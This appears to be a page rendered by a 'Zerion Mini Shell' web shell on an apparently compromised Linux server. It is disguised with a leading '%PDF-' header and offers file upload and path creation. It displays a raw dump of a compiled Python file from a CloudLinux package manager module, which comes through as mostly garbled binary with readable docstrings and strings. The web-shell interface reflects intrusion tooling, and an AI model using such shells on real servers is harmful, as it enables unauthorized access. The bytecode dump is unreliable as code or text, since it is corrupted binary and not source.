%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyc

�
i�B^c@`sddlmZddlmZddlmZddlZddlZddlZddlZddlZddl	Z
ddlmZddl
mZmZddlmZdd	lmZmZmZmZdd
lmZdZd
efd��YZdeee�fd��YZdS(i(tprint_function(tdivision(tabsolute_importN(tSafeConfigParser(tABCMetatabstractmethod(ttimei(tINSTALLING_STATUStREMOVING_STATUStCACHE_UPDATING_YUM_STATUStAcquireInterpreterLockError(twith_metaclassiitPkgManagerErrorcB`seZRS((t__name__t
__module__(((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyR stBasePkgManagercB`s�eZdZdZdZdZdZdZdZ	dZ
dZdZe
d��Zed��Zed��Zd�Zd�Zed��Zed��Zd�Zed	��Zed
��Zddd�Zd�Zd
�Zd�Zd�Zd�Zd�Z d�Z!e"j#d��Z$e%d��Z&e%d��Z'e%d��Z(d�Z)e%d��Z*d�Z+e%d��Z,RS(s�
    Class responsible for all interactions with Yum, interpreter versions
    installation/removal and gathering info about already installed versions
    c
C`s7ttjd�}tj|d|d|d|dt�S(Ntwtstdintstdouttstderrtshell(topentostdevnullt
subprocesstPopentTrue(tclstcommandtfnull((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytrun_background6scC`so|jdk	r|jSt�}y)|jtd��|jdd�}Wntk
rat}nX||_|S(Ns /etc/yum.repos.d/cloudlinux.reposcloudlinux-updates-testingtenabled(t_testing_repo_enabled_cachetNoneRtreadfpRt
getbooleant	ExceptiontFalse(tselftparsertres((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyt_testing_enabledAs	

	cC`s5|jrtjj|jd�Stjj|jd�S(Nsyum_cache.dat.testing_enableds
yum_cache.dat(R)Rtpathtjoint_config_dir(R&((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyt_yum_cache_fileOs	c	C`s�|jdks-|jdks-|jdkr9t��n|j�}|dkr�|jjd|jd|jd|jd|j	r�dnd�}|j
|�}|j|jdt
�ndS(Ntyum_cmdt	alt_namest
cache_filetdisable_testingts(--disablerepo=cloudlinux-updates-testingtstatus(t_cache_lock_fileR!t
_mk_cache_cmdt_yum_cmdtNotImplementedErrort_read_yum_statustformatt
_alt_namesR-R)Rt_write_yum_statustpidR	(R&tongoing_yumt
cmd_stringtp((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytupdate_yum_cacheUs-				cC`sXytj|j�}Wntk
r*dSXt�|jtkrEdSt|j�j	�S(s;Return data from file or None if file is absent or outdatedN(
RtstatR-tOSErrorR!Rtst_mtimetMAX_CACHE_AGE_SECRtread(R&RA((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyt_read_yum_cacheds
cC`s/ytj|�Wnttfk
r*nXdS(s* Silently remove file ignoring all errors N(RtremoveRBtIOError(tf((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyt_remove_silentpscC`s4|jdkr!|j�|_nt|jj��S(s�
        Returns list of installed interpreter versions by scanning alt_node_dir
        and cache result. Cache also can be pre-filled at init time for
        testing/debugging purposes
        N(t_versions_infoR!t_scan_interpreter_versionstlisttkeys(R&((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytinstalled_versionsxscC`sM|jdkr!|j�|_ny|j|dSWntk
rH|SXdS(s�
        Should return full interpreter version for a particular major version or
        just fallback to given version if info is not available for any reason.
        This information is taken from the hash map populated during
        installed_packages scan.

        :param maj: Major interpreter version
        :return: Full interpreter version or Major if info is not available
        tfull_versionN(RKR!RLtKeyError(R&tmaj((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytget_full_version�s

cC`stjj|jd�S(Nsyum.pid.lock(RR*R+R,(R&((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyt_pid_lock_file�scC`stjj|jd�S(Nsyum_cache.pid.lock(RR*R+R,(R&((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyR4�scC`smtjj|j�s"|j�ntji|d6t|�d6|d6tt	��d6t
|jd��dS(s�
        :param pid: pid of Yum process
        :param version: interpreter version or None for "cache update" case
        :param status: what yum is currently doing(few predefined statuses)
        :return: None
        R<tversionR3RtwbN(RR*texistsR,t_create_config_dirstjsontdumptstrtfloatRRRT(R&R<RUR3((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyR;�s
	
cC`s4|j�}|dk	r0dj|d|d�SdS(Ns>{} of version '{}' is in progress. Please, wait till it's doneR3RU(R8R!R9(R&R=((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyt_check_yum_in_progress�scC`s�|jdkrt��nytjt|j��}Wn"tk
r[|j|j�dSXtj	|j
d��s�|j|j�dSy#tj|dtj
�\}}Wntk
r�|SX|dkr�|S|j|j�dS(s�
        Result "None" - means installing/removing of our packages is not
        currently in progress. However, it doesn't mean that any other yum
        instance is not running at the same time, but we ok with this
        because our yum process will start processing automatically once
        standard /var/run/yum.pid lock is removed by other process
        :return: None or dict
        R<iN(RTR!R7RYtloadRR$RJtpsutilt
pid_existstgetRtwaitpidtWNOHANGRB(R&tdataR<t_((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyR8�s$

#
cC`s|jj|�S(s�
        Formatting cmd string for installing package
        :return: formatted cmd string
        :param version: version of interpreter for installing
        :rtype: str
        (t_install_cmdR9(R&RU((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyt format_cmd_string_for_installing�scC`s|jj|�S(s�
        Formatting cmd string for removing package
        :return: formatted cmd string
        :param version: version of interpreter for removing
        :rtype: str
        (t_remove_cmdR9(R&RU((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytformat_cmd_string_for_removing�scC`s�|j|�}|r|S||jkr5dj|�S|j�}|dkrQdS||krjdj|�S|j|�}|j|�}|j|j|t	�dS(sReturn None or Error strings!Version "{}" is already installeds^Updating available versions cache is currently in progress. Please, try again in a few minutessGVersion "{}" is not available. Please, make sure you typed it correctlyN(
t_verify_actionROR9tcheckout_availableR!RgRR;R<R(R&RUterrt	availableR>R?((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytinstall_version�s
cC`s�|j|�}|r|S||jkr5dj|�S|j|�rHdS|j|�r[dS|j|�}|j|�}|j|j|t	�dS(sReturn None or Error stringsVersion "{}" is not installedseThis version is currently in use by another operation. Please, wait until it's complete and try againsPIt's not possible to uninstall version which is currently in use by applicationsN(
RjROR9tis_interpreter_lockedt_is_version_in_useRiRR;R<R(R&RURlR>R?((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytremove_versions
cC`sS|j�}|dk	rO|dttfkrOii|dd6dd6|d6SdS(sr
        Should return version and it's status for versions that is
        currently installing|removing
        R3R2tbase_dirRUN(R8R!RR(R&R=((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytin_progressscc`s�|j|�}yt|d�}Wntk
rAt|��nXytj|tjtjB�Wntk
rsnXz	dVWd|j�XdS(NR(	t_get_lock_file_pathRRHR
tfcntltflocktLOCK_EXtLOCK_NBtclose(R&tinterpreter_versiont	lock_nametlf((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pytacquire_interpreter_lock's

	cC`s
t��dS(N(R7(R&((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyRk>scC`s
t��dS(N(R7(R&((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyRLBscC`s
t��dS(N(R7(R&((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyRXFscC`s}|j|�}tjj|�s%tSt|d�}z7ytj|tjtj	B�Wnt
k
ritSXWd|j�XtS(NR(
RtRR*tisfileR%RRuRvRwRxRHRRy(R&RzR{R|((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyRoJs
	cC`s
t��dS(N(R7(R&RU((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyRjWscC`s
t��dS(N(R7(R&RU((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyRt[scC`s
t��dS(N(R7(R&RU((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyRp^sN(-R
Rt__doc__R!R R,RKR5R6R:t
_redirect_logRfRhtclassmethodRtpropertyR)R-R@RFtstaticmethodRJRORSRTR4R;R]R8RgRiRnRqRst
contextlibtcontextmanagerR}RRkRLRXRoRjRtRp(((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyR$sH					%	
	
				
	i�Q(t
__future__RRRRuRR�R_Rt
simplejsonRYtConfigParserRtabcRRRR2RRR	R
tfuture.utilsRRDR$RtobjectR(((sQ/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/pkgmanager.pyt<module>s "

Zerion Mini Shell 1.0